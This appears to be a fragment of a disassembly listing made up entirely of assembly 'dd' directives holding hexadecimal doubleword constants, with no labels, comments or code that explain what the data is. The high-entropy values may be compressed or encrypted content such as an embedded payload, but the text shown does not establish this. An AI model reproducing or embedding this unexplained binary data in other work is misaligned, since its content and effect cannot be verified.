		dd 5898EDh, 13FDD117h, 0EB5D9A89h, 3C855Ch, 67580B4Eh
		dd 27ABC80h, 13732271h,	28685011h, 0B8888894h, 505C9C93h
		dd 0DF2C3DE0h, 9A00B049h, 45109E15h, 8CFC08h, 0B4E7ADB9h
		dd 0EEA17552h, 554AE601h, 0D0953FBCh, 7DB52D30h, 6BDD0010h
		dd 28F3BE36h, 8B0BB2A4h, 0DC050h, 0B33A6E4h, 959E0109h
		dd 0FE672612h, 0CD90884Ah, 0CCBF4294h, 90B030E3h, 810019E3h
		dd 26B80E96h, 17005EDh,	389CA821h, 206E36C5h, 81246A40h
		dd 0AF287C78h, 40003E78h, 0FAFDC2E8h, 0B06064h,	3562ECC3h
		dd 0E9390A9Dh, 4A33CF07h, 0BD40D191h, 5B955CDh,	0E23D716Ch
		dd 9FD18075h, 0FB1C89D0h, 358280D7h, 64D9A038h,	5FF00010h
		dd 7718D884h, 0CBB8C2EDh, 0AC73D400h, 8D520C29h, 4E8507D7h
		dd 2036E5BEh, 9091C8EDh, 0C92DF600h, 0AABDD482h, 5FF30199h
		dd 5E585C0Eh, 0C36E805Bh, 88FF5983h, 0A3F20063h, 0A41DEF52h
		dd 0B1001AE4h, 8BBC825Dh, 7C7F4651h, 0A32F0B23h, 4D00134Dh
		dd 0B03EA952h, 0D800617Bh, 4ABC33C9h, 82DFDAh, 6DC5DDDCh
		dd 0D9B7F727h, 0B254FB00h, 0ABF48ED2h, 0A1C8A0CBh, 967403C8h
		dd 0B124E659h, 0EB9D2790h, 2BE3F501h, 0FC522180h, 7C16834h
		dd 7125AB6Eh, 8F845944h, 9FB88016h, 7B24768Eh, 522C1C11h
		dd 7C65F00h, 2CBCA7Dh, 0BD9106D2h, 0F383C812h, 283A0310h
		dd 99AF930Bh, 0B991F901h, 706450E6h, 479C9625h,	5D9C3061h
		dd 3109EB88h, 200AE919h, 0C743DD0Ch, 0B5C20098h, 78021468h
		dd 0C6042C99h, 0AB4D7980h, 3F27CFC0h, 0C1242649h, 6E20030h
		dd 0CA5AA98Ch, 0E37110C0h, 0B15DBF3h, 0EDB38E79h, 0B8A28460h
		dd 9A29EF00h, 0B40C88Bh, 734B007Fh, 7CD0631h, 88303E76h
		dd 0C256C872h, 29C1003Dh, 0FD205B04h, 7E00B56Bh, 0B71F9BFEh
		dd 4B3875Eh, 4E1B2988h,	447480BAh, 2F01F1A8h, 7CBBFCD6h
		dd 1BE08F06h, 748B1CDAh, 5DA10014h, 0BA794BE5h,	78195Ch
		dd 81A01376h, 9F74094h,	5E5C6DA6h, 0FE3D3080h, 0F939DA73h
		dd 75C19FECh, 0FCD4CD80h, 251AC2FBh, 0D002171Ch, 0C058404Ah
		dd 1622FA01h, 0F6029443h, 757B3D8h, 44D88DD7h, 288BE0B9h
		dd 873FCBD4h, 0A5AA00D1h, 0C44C9D67h, 35720011h, 0B8F18DE6h
		dd 0B8B08E3Eh, 0F7031C16h, 614B98D0h, 50A50076h, 18A1640h
		dd 0CF006414h, 70C457BAh, 2EA178EFh, 9B02675h, 2C206F8Bh
		dd 0CE4BC1A0h, 1644331Ch, 0B400B028h, 725B8E11h, 78DB965h
		dd 0D5B3DC6Bh, 80910464h, 967C5505h, 3C458F3Ah,	424C003Bh
		dd 54FFB051h, 0B48E00B7h, 0DC190BF2h, 4800A4C4h, 0E7A89710h
		dd 76E398h, 95C758E4h, 32B47AF5h, 8E014D01h, 6784CB42h
		dd 3071430h, 47636E9Ah,	0DEA8FF9Fh, 8200622Ah, 0C8CAC37Fh
		dd 0AF2694h, 799C8A90h,	0E3FD66E7h, 74284260h, 39375758h
		dd 0BC802B97h, 0F3A7CD9Dh, 4060F6C4h, 3A5964B8h, 0AEFF0181h
		dd 0D4C9F2E9h, 9866F0CDh, 0D505B500h, 26594150h, 0F0B000Eh
		dd 2CEAEBC3h, 6502B4A4h, 0F8633864h, 8FAC4006h,	0FE4E1D2Dh
		dd 0C2CC00A1h, 0A5B7C33Ch, 17E34D00h, 0F89D3305h, 78197A63h
		dd 6F9051h, 0EE1E78C4h,	8DFD5EA4h, 0DEB82E00h, 0BF98E3AFh
		dd 3392006Dh, 0FE5ED03h, 1800E1F7h, 0BECA11CFh,	7E4E628h
		dd 0AC6CF619h, 0A2CE0DFh, 5A003D07h, 2A5347CEh,	0EA6213h
		dd 38F16FE2h, 17107457h, 0C089DF01h, 6A019666h,	2625807Eh
		dd 560FF74Ah, 405EE0EFh, 0B415115Dh, 0E30E0E9Ch, 0DC205774h
		dd 77832E3Fh, 0D78AF700h, 31CE159Bh, 0A18E00C0h, 0BC84C63Bh
		dd 0C2006ED0h, 3309D12h, 11BEF4h, 38DEAF61h, 0DF0627Ah
		dd 39C38A00h, 0E2C6504Bh
		dd 0CF820063h, 102E2C40h, 0A3001AF7h, 0A10F6133h, 7EC3EF31h
		dd 673A1DADh, 225940EEh, 3B4DBB5h, 301348h, 0E988EC81h
		dd 0F441B3h, 0BE89128Fh, 19662FDAh, 28086507h, 83C0A47Bh
		dd 7BA458Ch, 0A0645FD6h, 27FCD066h, 7716FEC4h, 100027Ah
		dd 492A0442h, 0F17101F8h, 62F463F5h, 779FD410h,	9ECA5612h
		dd 0E6544Eh, 247958A9h,	0D66100A6h, 0F0D13167h,	3A74E5C3h
		dd 366DEC0Fh, 0FC6B20CFh, 3A95FAC5h, 3BF4C7FEh,	9300A0C9h
		dd 68FFBDC4h, 91003AD3h, 8E36CF9Bh, 12B8D896h, 312F5DCh
		dd 86C1B42Ch, 0A4FA40D7h, 8E610D88h, 80829E18h,	1B39D6E8h
		dd 78C6FCCEh, 430FF8A0h, 2DA84160h, 0DE9AE7C5h,	0F9150130h
		dd 8017E561h, 1B76F308h, 12A232CAh, 4BC4CCh, 0FC01316h
		dd 3A1F0C3Fh, 430F519Fh, 0DA1A0087h, 2CCFCAE0h,	12819Eh
		dd 41A739AEh, 0CB0C99ADh, 69965BD7h, 0FFB70F8Fh, 612121C4h
		dd 5081598Ch, 0AD392A9Ch, 80A6733Ch, 61108D0Dh,	0A0E90E62h
		dd 7495D58h, 8A4E2C31h,	1F02605Bh, 0AC7DBBD3h, 463F6F0Fh
		dd 0A52A831Eh, 2008F0F0h, 560403F7h, 0B5103C7Ah, 64B77FC0h
		dd 3683D700h, 0E73F47F6h, 8DCE00C8h, 0C1E02DBCh, 30008196h
		dd 3E9F265h, 0EAA9AF15h, 854C0047h, 7F48013Bh, 3300AA09h
		dd 51E808F4h, 3900DEEh,	69DDF11Ah, 0EBC084FAh, 0D300A720h
		dd 0C304E216h, 76D23CB8h, 7E3F0026h, 892F3848h,	223E8009h
		dd 95EB0166h, 0F6CE4DBFh, 8E9483DEh, 715EB88Dh,	0A4C9501Ch
		dd 895F7A4h, 660098B0h,	2A55ED6h, 6B0051FEh, 170AA229h
		dd 37F418h, 7BCD82FAh, 2CC843A1h, 7A46C305h, 0C4003DE1h
		dd 0A5F28D6Bh, 918921Eh, 22E66CA1h, 4189ED80h, 8674D98Ch
		dd 0CA210860h, 1E75E665h, 0D83016D5h, 98BA6025h, 0A187460Ch
		dd 7001290Ah, 21C86097h, 8F329834h, 30938D80h, 691818E8h
		dd 0C419AB01h, 0C8F9ED3Dh, 5E08D018h, 0C4D91C73h, 0D8C0408Fh
		dd 603E65Eh, 6B85DC90h,	2A0CD024h, 0E8A4CC8Ch, 3E4D0086h
		dd 7C715779h, 0FA013D64h, 8F2FCB34h, 20E8DFCAh,	0C44F0081h
		dd 942BF258h, 5D0EAABCh, 0A0632EECh, 69B3491Ah,	7F9D1260h
		dd 91190310h, 0A397246Eh, 21A8D0A2h, 0F528E169h, 0A800B905h
		dd 5A221BF2h, 13C9A4h, 0DD85AC23h, 37F60679h, 8A0E092Eh
		dd 6393C40Eh, 0F05E3F78h, 0FE9EEFh, 5A3463C5h, 0CC670AC6h
		dd 0E6CE1F00h, 0B8C00E64h, 1E8E0784h, 81209456h, 6B12D115h
		dd 0E1CA2B00h, 5D9506h,	0F95B7983h, 12FBC105h, 0D8E5DD01h
		dd 10B6CF33h, 0B7E25D8h, 5782F7C3h, 0D09E0787h,	7A0180EAh
		dd 63497700h, 18CD4A98h, 1EC700C5h, 0F1684261h,	887E0E92h
		dd 2886240Ch, 52D1D0C0h, 0B0AE04BFh, 975922h, 0A2B86F0Bh
		dd 8A30C03Ch, 0DDBC9800h, 37B39EA1h, 0DA201D79h, 0E82E83A0h
		dd 53C0A2FBh, 0D3039230h, 21A1AE31h, 4228C6E5h,	0A4ED1106h
		dd 11D0EE11h, 0B221E74Dh, 23964E04h, 44D12A04h,	0BE48E1C4h
		dd 9097A84Fh, 3CB48AC6h, 2B8F8A10h, 14C22891h, 0C9ACD931h
		dd 0C411A776h, 839E122Bh, 28B5EA50h, 2228A229h,	0DA422C08h
		dd 77AF4911h, 3CB929C0h, 5C6F662Dh, 6800C6F6h, 0D4FC1A21h
		dd 0CB00BE1Dh, 9E34D6C8h, 97AE18h, 67F9944h, 4A245413h
		dd 8046A738h, 85B75DBCh, 225014h, 5F2EA4BBh, 1DFF60B9h
		dd 1F4C5100h, 0C9DEE7D7h, 0EA796061h, 0B37A8293h, 0DC04777Ah
		dd 546F39C6h, 0F1BBC7C0h, 0B1EE170Fh, 4FDF00CEh, 4998AB3h
		dd 8F8650Fh, 83D1C10Ah,	0ADC8261Bh, 47E10277h, 9C3FF7F5h
		dd 0A724D6E0h, 915FE600h, 948A42BBh, 3722009Bh,	233BCA4Dh
		dd 0C63F85BDh, 28B70E21h, 0F654402Ch, 170FB5A8h, 0CD56E7Ah
		dd 26681FA9h, 1DE5B01Dh, 87074943h, 0FFAE8027h,	89A2000Ah
		dd 82F8BD7Dh, 74002BA9h, 0A886AD7Bh, 60D7AE2Ch,	940A401Bh
		dd 9F004D10h, 0CEDFD588h, 3103436Fh, 0B520085Ah, 8A31F828h
		dd 78210C00h, 428EC3BFh, 0C0C8DE1Eh, 27B70B0h, 0A5006365h
		dd 56127CFh, 70FDA9Fh, 0D968DE93h, 3A80FEC9h, 896A0BAAh
		dd 0EE036104h, 0D8786A0h, 5A275930h, 3A710021h,	223E2F66h
		dd 5D00F88Dh, 0B53D0614h, 0ED0D08h, 0A97C494Fh,	72BB7696h
		dd 0B1B6DE00h, 14601B50h, 78E8000Eh, 7F9C8C2Eh,	270084BAh
		dd 1C64428Fh, 0C78ACBh,	0D07D1BB0h, 266A1789h, 87784A9h
		dd 7B4200F8h, 6BD5FECBh, 21EED0C8h, 8B7422F2h, 0F7ED7900h
		dd 0B5F916B7h, 0AC120363h, 0E509AB9h, 62180CB8h, 4956800h
		dd 0A82E96Ah, 5269003Ch, 15C70D9h, 0F4007B0Dh, 8A27BC4Ch
		dd 44481Bh, 0DB97B426h,	68ADEFF8h, 0F9BFEA00h, 38B0724h
		dd 0BB060A3Ch, 3C9C0ECAh, 3F05DE03h, 3D9038E8h,	9D0045A9h
		dd 1E9C994Ch, 3D826FC1h, 88802074h, 375762D3h, 7900D2DFh
		dd 149FBADDh, 7AE43101h, 718B3F4Dh, 8ED59680h, 0E5530A16h
		dd 3657A501h, 33786BF9h, 3725C0h, 623D2E87h, 53BB21EEh
		dd 97BD020Ch, 1AF5277h,	5EA3E62Fh, 47ABA990h, 1BB940ACh
		dd 3C48E978h, 6E8100AFh, 0EB75B892h, 6FC720Dh, 9FCF2638h
		dd 1902304Eh, 0C399B602h, 0EA2C4037h, 16278804h, 1EA2871Fh
		dd 6A7BFE40h, 13441121h, 0EBD165A8h, 0CCD93100h, 95027827h
		dd 0D00036F0h, 5B84B0A6h, 1E1D84Bh, 8C36414Ch, 30937262h
		dd 1400CCC2h, 0F6C9AF4h, 7A6A80h, 0EC5CC29Fh, 0D8CBBA42h
		dd 4EF26900h, 12DD4BC4h, 3B1AE694h, 8D81F029h, 7C93895Fh
		dd 0D01180D5h, 0ABF5EE45h, 8A49004Ch, 5161CFC1h, 0D40003B2h
		dd 582C7CE2h, 7B31AA34h, 129A00E3h, 0C695D5D8h,	5B00130Dh
		dd 0EB236E78h, 1C98228h, 9668B005h, 44F70EA9h, 0D7890084h
		dd 8F8C20E5h, 0FEF57B50h, 0BACC881Ch, 4119474Fh, 0D3AEDC9Fh
		dd 16D2CCh, 4DB0028Ah, 9B25EEDFh, 0A0D8DD00h, 0ECFF6D8Bh
		dd 0DB6600CFh, 1B19D1EDh, 0AA0062C3h, 503DD969h, 0B83E9Fh
		dd 2EFDC4A3h, 1D178ACCh, 0DB4DE500h, 7642B98h, 0D4A2002Fh
		dd 6FC72A81h, 0EE1433DFh, 0FC4DD1Ch, 0B232901Ah, 0D8C51841h
		dd 60C905ACh, 0FA4A60h,	0B0CEC93Ch, 65D427E0h, 18283360h
		dd 1980A43h, 2B901281h,	2205457Ch, 0B0F006B8h, 100AFEh
		dd 9EE9C375h, 14F11834h, 0D1B1DC00h, 0AB952AB8h, 1CC94853h
		dd 52CEC009h, 9FD0A4A0h, 3CE4D189h, 92F60209h, 88B880CBh
		dd 19203ECFh, 20829DC9h, 0DB4ED47Ah, 3F57B800h,	8C102B95h
		dd 6BF800FCh, 8F208056h, 2D188ECCh, 0BD68D80Ah,	1AE7034Bh
		dd 4EAB02D5h, 11DC5800h, 83E34CD6h, 1D749Ah, 613B2188h
		dd 13E0DA87h, 0D3E9940Ch, 0ADA863h, 732C12F6h, 8E52C42Ah
		dd 0CDB83F00h, 296B19BAh, 0DAE52C6Eh, 1C200018h, 696C6603h
		dd 9C3C9728h, 6DC9CA04h, 78804484h, 2D6149Eh, 37C6808h
		dd 40481EDFh, 0AA00E101h, 14777038h, 0C36976h, 34FAFD89h
		dd 0BE3A5B10h, 75908C00h, 73628A0Bh, 0DC0E00C5h, 0BBA61F0Ch
		dd 0E0A07766h, 6C1D6533h, 0E3403E89h, 0D8353B8Eh, 21240090h
		dd 0D5F4DC77h, 0EB1E201Eh, 46406215h, 0D62794EEh, 90C403E1h
		dd 0C24E7A5h, 5A080798h, 543BC00Eh, 1219A167h, 0B834D0BDh
		dd 3C9F0078h, 0FEF8F1B2h, 3D09F213h, 6889F9h, 19E9BFE4h
		dd 10710026h, 0F85CB998h, 6A00B275h, 9B5DFF7Ch,	729FD8h
		dd 0EBAD2D0h, 19CE01A9h, 88537E00h, 2E634203h, 0E85E24E2h
		dd 705C02E0h, 5861368Ah, 44986011h, 4E3D411Fh, 197068Eh
		dd 60B3B93Ch, 0CF9FD841h
		dd 2257ED8h, 1D816F46h,	1FE0DE85h, 8D012A70h, 0F65A2129h
		dd 0A3D5A9B8h, 9374C0h,	0CFBECC56h, 0BD1BAEBAh,	0AA6D4500h
		dd 4043953Ah, 8A5501EDh, 4C4876B7h, 0E807FF3Eh,	6828CD2Eh
		dd 0DE50B870h, 0FFD90689h, 30E2B678h, 170548h, 2075F73Dh
		dd 36B23Ah, 0A6C459F8h,	0B62583D7h, 14506E00h, 846CC64h
		dd 0B340082h, 47EFFC21h, 0C502E9C0h, 1D0A1A69h,	0C053C231h
		dd 26E40Dh, 277143CBh, 74C62F68h, 81511A00h, 0C9048B57h
		dd 7E150083h, 9502219Eh, 2400BB09h, 0BF723DFCh,	51B789h
		dd 19484FE2h, 0A3B37545h, 801C1B4Ch, 47A6D2C5h,	0CE0900DEh
		dd 0A9B14A1h, 5373BEB9h, 0FF5D8600h, 0CFB75F9h,	7294007Dh
		dd 1FA8F778h, 8B142F0Fh, 2C45EE0h, 0EA0E232Bh, 2DF460E1h
		dd 7BC900C8h, 57B438B1h, 0FA00C599h, 0ED542296h, 53676Dh
		dd 0BF0ADC30h, 7ACE2B45h, 39590703h, 0D1799629h, 0C450FC3Eh
		dd 91BC22CBh, 0E3948CECh, 45003B18h, 0D36A6D32h, 7AA280h
		dd 0E6B2EF56h, 0D779C728h, 2FF73400h, 3FDEAD99h, 664C1C88h
		dd 98684075h, 0D3D624F0h, 0EB36CA05h, 16C0BA07h, 0E46C6A78h
		dd 227CFCh, 799EDD84h, 3B2BB038h, 80548F3Eh, 0B2462C5Fh
		dd 2EA293h, 5F223D2h, 0ADF01327h, 118FE10Eh, 1890A05Ah
		dd 4839708Eh, 3C00F0A8h, 0BFAEE250h, 0CF07DA27h, 3571060Fh
		dd 64AB2130h, 0D929C7B2h, 0DCA9E0F4h, 0A9CE9753h, 5E152047h
		dd 0FD2FC0B7h, 6E432880h, 0D938E193h, 857FAA75h, 8100DC90h
		dd 3F9CAF17h, 0C3D05Ch,	13308DF5h, 0BD703651h, 2B49AE00h
		dd 0D4BAD141h, 485C989Eh, 2904AFC7h, 0C0886C42h, 0C073DA3Ch
		dd 3FACBA00h, 0EC4D5DBCh, 3A84A0D1h, 609000E6h,	5EE1B613h
		dd 12EE1073h, 7D6FE8FDh, 71AF2900h, 33D4424Bh, 0FB7A13h
		dd 0EF618C1Eh, 6C7090A4h, 529FA802h, 4987FFB3h,	0D0800B20h
		dd 0ABFBC1CAh, 6800AF0Dh, 0D4981DDAh, 182479B4h, 1C02F615h
		dd 3C07874Dh, 1F2A3F90h, 0DAE78B20h, 59B902E4h,	0A1D97609h
		dd 2088C0C1h, 2A00AB14h, 37B701Ch, 0A90245h, 21E5B94Eh
		dd 0E7EE397Dh, 23223F00h, 0CF9097Ch, 0A4D000A3h, 3EE8C250h
		dd 4102ED35h, 0C8B58E54h, 8426E0EEh, 347612FBh,	0AC1CC0C3h
		dd 349828CBh, 0D464B40Fh, 0B6EA186h, 20802C89h,	0EEF98123h
		dd 0BD0080C1h, 11866C1Eh, 6AE955h, 5A1FCA47h, 3515BF3h
		dd 0AC98DBB8h, 0E0FE5600h, 7FAB2098h, 8F53007Bh, 378A2D85h
		dd 0A50212A7h, 0A161DC39h, 88F8807Eh, 7F2E893h,	3F0411D6h
		dd 914FA00Ch, 7300E958h, 0A2692652h, 0CB4055h, 0B0C25310h
		dd 32801EB7h, 0B500727Ah, 0C99B8A27h, 34A6C5h, 1B7B58E2h
		dd 3F6BEB2Dh, 87A77900h, 8EBC810Bh, 894A0038h, 5E83F38Ah
		dd 6800BF84h, 2ABD69BBh, 73CC1DC5h, 419F0919h, 888FF1EFh
		dd 62500961h, 0CC396121h, 480303ECh, 0AF6C6EADh, 0C6A2801Eh
		dd 84A30BD9h, 0C40027CFh, 0CC925BB3h, 47E58C00h, 0B99DFFFEh
		dd 0F0EE045Dh, 0B0CBFBEBh, 1CB0D2D8h, 0FA9B9400h, 809FCA7Dh
		dd 2FFB0CE7h, 0BC8A3205h, 8F388D60h, 4EB9507h, 0C1A63B6Ch
		dd 59D48246h, 0F4822C63h, 4D77AC40h, 80FD5E3Ah,	451D3A64h
		dd 5CEF54h, 0BE109F7Fh,	5E70CD34h, 0F68CF5Ch, 3FCEFA73h
		dd 5D6400FEh, 0CC23D596h, 76BE181Bh, 700B34F6h,	0BF3F39h
		dd 387EE2FEh, 2CA005A1h, 83444A91h, 8BB9BD83h, 755B8588h
		dd 0D20E5570h, 0E7C01A60h, 2100061Bh, 4B12Ch, 0ADC272D6h
		dd 0B20EE92Dh, 51918200h, 0A1B8399Eh, 40C2DE4Fh, 0C63F258Bh
		dd 343DD56Fh, 0E1848F13h, 5D096075h, 90AB69B1h,	3AA9012Dh
		dd 8CE2A6D8h, 890460DDh, 5D03CAE4h, 3501426Fh, 9901F773h
		dd 40304DD1h, 0ACE14837h, 9627513h, 0F8A0639Ah,	1FF998D0h
		dd 9A2FEF00h, 25DC31B1h, 21D500D2h, 0D1EDC841h,	9E0057ACh
		dd 22BED836h, 0EF69764h, 6B7C4A28h, 0E52D7120h,	0D5000363h
		dd 0FE2B2CFCh, 90CC049h, 0AA77632h, 0BDB1C80h, 245CB3C8h
		dd 8921FA00h, 1B91CA4h,	0CC6AB138h, 603824DAh, 2F49A700h
		dd 28988556h, 0A42E4Ch,	0C99AFBD0h, 60F18EDAh, 0D3C0C859h
		dd 0D200A3DEh, 9A9722ACh, 1D49CFA8h, 90B43477h,	0BB0A0027h
		dd 2AF43042h, 9CFC4C18h, 70041876h, 0E792061h, 2C0018B1h
		dd 220D9AA7h, 92B21ED4h, 26C4270h, 0E050E143h, 0BFF7CC02h
		dd 0E03937A5h, 0B720C7h, 2168B02Bh, 0AE14401Dh,	8501AFE6h
		dd 2972A0B3h, 2887F6CEh, 0D6A71AD1h, 990F2A98h,	0CB9430DDh
		dd 0D5F900B1h, 40CE71h,	0E57015D4h, 6E10936Ah, 452FAB00h
		dd 0A667FA5Bh, 89EF03ADh, 870C8A2Eh, 0B7201D8h,	50696A2Ch
		dd 1A6E8600h, 2C04Eh, 7E39F444h, 4E77FF9h, 52CDAA00h, 0F3A69175h
		dd 8423E722h, 8034931Dh, 827E14B8h, 0D100E929h,	0DF6510EDh
		dd 4A9694Fh, 26683AE0h,	1D90807Ch, 37003E59h, 0EE410EB2h
		dd 0F811E82Eh, 4DE7007Eh, 0B62CD59Ah, 46008AFFh, 0FEB43A03h
		dd 3AF955E4h, 80CD21ACh, 68EA0273h, 2D7F7116h, 0FA2E9048h
		dd 3BE0AD58h, 1DC08011h, 6527F2AFh, 9026004Eh, 0CA032A76h
		dd 0EE0E228Bh, 3418E9FAh, 7F5300CCh, 0BBBA05ECh, 941E245Bh
		dd 0C07A1D63h, 0F571474Eh, 0AF011FA1h, 97AE11E6h, 7424A6C1h
		dd 0FB1D37D8h, 0C0068478h, 401211A4h, 0B03FDD00h, 0F6C4CC7Ah
		dd 9E20C0C6h, 7055E7C5h, 0E8DF9C01h, 7B8EAE2Dh,	17CA4ADCh
		dd 90BE934h, 78D0B978h,	0D1FAA600h, 3F8F1C01h, 0CD6B00B4h
		dd 0DC9830E8h, 9E129F9Bh, 0E000DE16h, 2BB22609h, 0A56F00C7h
		dd 973A8969h, 0FB264B96h, 8100A356h, 83110714h,	0C33E0277h
		dd 78B6D6EEh, 0F08A86E0h, 3A5C25h, 17AEA1A8h, 0F9A23F15h
		dd 589C680h, 0E23CE1B4h, 1294B548h, 0ECC0276Ch,	941AC9h
		dd 5B845CD5h, 0BC9533D7h, 276ED301h, 42042B8Eh,	2C79A424h
		dd 80CC0F1Ch, 0E46D4D06h, 0D0968F2Eh, 1F938201h, 4F00456Ah
		dd 0B9F41E7Bh, 8B1BA900h, 99E74E69h, 2265CC3h, 356A0F00h
		dd 93B61694h, 0FD5D0400h, 0C0E0BFF8h, 2BAD0389h, 9BAA7B43h
		dd 8873FCC8h, 0AB729100h, 505F5C1Ah, 2612E635h,	0A8690Bh
		dd 0EA214314h, 9E090857h, 809C7523h, 3AB78168h,	8733400Bh
		dd 56D23700h, 59166E4Dh, 47AC0E04h, 33C0F4E9h, 658ED0C5h
		dd 0C1218614h, 7E1880E4h, 0F4D174h, 24735662h, 4582800Dh
		dd 5901E9E8h, 4F8A5475h, 0A428E096h, 42176583h,	0E330B1E7h
		dd 3CE0EE1Dh, 0C008413h, 74050B7Eh, 40A5E7h, 23542B93h
		dd 89D06E53h, 98C8B03Fh, 0D24026FFh, 0AE0C0282h, 0D91F7F64h
		dd 0D021A580h, 0EB715381h, 9463Dh, 0A902E88h, 569AE6Eh
		dd 39775D8Ah, 6FD408BFh, 0A8F41F01h, 4430F9CAh,	0DA9907CBh
		dd 602BDECCh, 0BAD8D85h, 2FFD1603h, 0FAA94CA3h,	0BDB080A2h
		dd 761FC532h, 0E4D01CFAh, 0A795408Fh, 407D47BAh, 0E1F448h
		dd 83AE2102h, 0C071F7EBh, 6E090D78h, 0B1EEE207h, 0DB9EFE00h
		dd 94E9AF81h, 56A007Dh,	354FA65Fh, 2A007357h, 45D45EE4h
		dd 113C69h, 4C8A8B94h, 86B81A48h, 0A6EF433Ah, 0BE001054h
		dd 0CA4DA82Ah, 179F014Eh, 0DC1159Ah, 0C3A0604Ch, 341C5Ch
		dd 0A1602729h, 6EE8Fh, 9F9E2EF1h, 5C5AF218h, 7D6BCB00h
		dd 0D858DFECh, 79B7144Eh, 2B07E421h, 0E699423Bh, 0E10FE0D1h
		dd 0F4BD76Ch, 0C047C1A8h, 0B8CB7860h, 3AA1735h,	0D48A7698h
		dd 0E6B854C3h, 8B00EFC4h, 2F6423Fh, 90F73694h, 1538261Ch
		dd 181742h
		dd 9F36FC0h, 5C0ACE11h,	0DC0D191Ch, 20A34940h, 0F4EF0087h
		dd 6268943Dh, 0A025A632h, 2D7C0Dh, 378A4951h, 447E0AD1h
		dd 9E89BF01h, 0A91045ABh, 58A7D420h, 0F03D966Ch, 56D6979Dh
		dd 0EB0C0F1h, 47F4F343h, 803AC839h, 46BFA57Eh, 0E83BEFh
		dd 9CF7AB0Bh, 21419619h, 29D5A801h, 0EC2BBD6Bh,	1CDC1C21h
		dd 42625B04h, 9283974Ch, 2AA602E0h, 550CCE03h, 0E2E3AA0Fh
		dd 26062B3h, 4811E4FBh,	0C015D80h, 42A124D7h, 14135E10h
		dd 2880410Dh, 3EBA9D4Fh, 98028F4Ch, 57B9CA17h, 0ED3B2940h
		dd 13F52D3Bh, 4040A0D3h, 107A41FBh, 3C1D0206h, 4A36EE9Eh
		dd 5505A4D0h, 78E34309h, 24D030F4h, 1B05C57h, 2D13D1F4h
		dd 0E06CD9h, 0F84E6360h, 18C359C9h, 603EB58Eh, 715D958Ah
		dd 53858250h, 67B06830h, 33C10FA0h, 0F3C1CBD0h,	0E89C8B91h
		dd 0DE00DBECh, 0EA93275Eh, 0CB0B8Dh, 0F2FF8FA7h, 11BD576Fh
		dd 3AEF9104h, 94C1682Eh, 5B705D14h, 0DF58C028h,	9008B90Eh
		dd 7F7C3B0Fh, 885C8078h, 3CB246CCh, 4A804DCBh, 16F5AB8Ah
		dd 28305ED3h, 7114C873h, 0AC350038h, 79E5B033h,	470E62F9h
		dd 2529AA39h, 5C90C381h, 25D0F2h, 2106BBC6h, 63EEB762h
		dd 0B1DC20F9h, 34825500h, 0E2E51D76h, 35270092h, 71F022D1h
		dd 1800D93Eh, 234EF37Ah, 80657h, 0A2A1E862h, 5CF5C5D0h
		dd 4030F00h, 96DAFCAEh,	0D86E5023h, 56BA1F90h, 0C608C0D9h
		dd 3EFDA1D6h, 6BCA580Bh, 0DCEB0093h, 43C536h, 0B5392EB7h
		dd 6784D947h, 4CFFC700h, 1EB10F6Fh, 13B9002Ah, 2FEDCD50h
		dd 2400AE43h, 0D95A80E9h, 0B116454h, 89A22701h,	2923BCC4h
		dd 0FE2408D7h, 28005F11h, 3BCD625h, 0C752FDDh, 0D4FF5102h
		dd 58A74465h, 6AA900F8h, 0A614D8EFh, 0C7044092h, 0F72DEEEh
		dd 61F2E880h, 0A1330031h, 0C290E18Eh, 0CA001003h, 85F52035h
		dd 9D18818h, 14B4D669h,	22EFEC80h, 8C920C3Eh, 9FE20A1Eh
		dd 0CD388D00h, 342D70h,	2B546867h, 0EBD9C379h, 0F026600h
		dd 5832C14Dh, 0D8C002Eh, 20D1EECAh, 1A1452B6h, 0F8F5AFh
		dd 2921B122h, 1CC6FCBh,	30BB8138h, 385B8CEDh, 0B6FE0F2Ch
		dd 159807C8h, 26848E41h, 979060h, 5D46CA07h, 8B09E67Eh
		dd 19D7BC12h, 0B503F603h, 0BEF2B020h, 0B9B100B0h, 0ABFC3F5Bh
		dd 8600C44Eh, 20A6B2C6h, 0EC655DB5h, 7ABD09D2h,	51807308h
		dd 25507E3Fh, 17B7CD00h, 0FFC4383Ah, 6EBA1C28h,	0D3BE4080h
		dd 1DC9DD1Ch, 89EA001h,	0E4BDE05Dh, 953630h, 0B053E24Fh
		dd 54D3FE7Fh, 309AFE6h,	240CA770h, 4CD8450Ch, 189005E3h
		dd 0D042E70Ah, 0EE434748h, 80266938h, 18948341h, 0D0A306h
		dd 176EF852h, 0EA9F11FDh, 0CC0330BCh, 8AE845F2h, 3B3CC051h
		dd 91A20461h, 0A17830EEh, 1D55E0E8h, 11204A60h,	6C85D1Ch
		dd 393CA8A0h, 38901908h, 0E0528000h, 322AF2E1h,	0B4713954h
		dd 2BE73380h, 7F1CFD1Bh, 99868B00h, 9CEFA62Ah, 333F0041h
		dd 966AAE3Eh, 77002935h, 0A17A3210h, 0F8E3818h,	0FBE2ED6Fh
		dd 33E48000h, 750F7E50h, 5E8430ADh, 0FF4D7CC2h,	0D036404Bh
		dd 0FB821CF2h, 4E80FC94h, 2C87EE1Ah, 0A40027F4h, 485119E6h
		dd 4D18682Fh, 1703B0C2h, 49E18FB6h, 0A5302Dh, 68A9E0FCh
		dd 2B2E00C0h, 53D8767Ah, 0A2003196h, 4CC14F93h,	2FB811DFh
		dd 30A07B1Bh, 0FA9B0D59h, 87D4640Eh, 8186E727h,	3CD29D70h
		dd 20F00EF8h, 4016F348h, 802AC060h, 8101AB71h, 941F5893h
		dd 18FB78FFh, 10075B98h, 8F8AE9C7h, 0E6510330h,	1F59C347h
		dd 20BEA620h, 13988A0Ch, 0E20582Fh, 0A940D193h,	0F6EA7180h
		dd 4501CA97h, 0D2DE291Dh, 0E1F090FDh, 7D67002Eh, 445CED79h
		dd 2B30A913h, 5A986859h, 0E8581560h, 5C42948Eh,	0D65B2601h
		dd 0D03B32E7h, 521520F6h, 36C06F3h, 11AC8EF2h, 8C12D090h
		dd 558B077Eh, 1CD6AF94h, 0FE0071C0h, 4ACE44DEh,	0D427ACh
		dd 588CEA50h, 367A33EBh, 38356C00h, 37667570h, 6EC50077h
		dd 14E5F785h, 86ECB72Eh, 2FA8D00h, 9A2F2D3Ah, 0DDBC07EEh
		dd 70C20734h, 9564BD35h, 92A4B239h, 4C1C87Ah, 92D5E9B9h
		dd 2AB0D9B4h, 1100AB04h, 0E5E4C7E9h, 0D53E034Eh, 0EECAACCDh
		dd 60929500h, 3F840E0Ch, 0C7079785h, 8711E661h,	0FF1C4063h
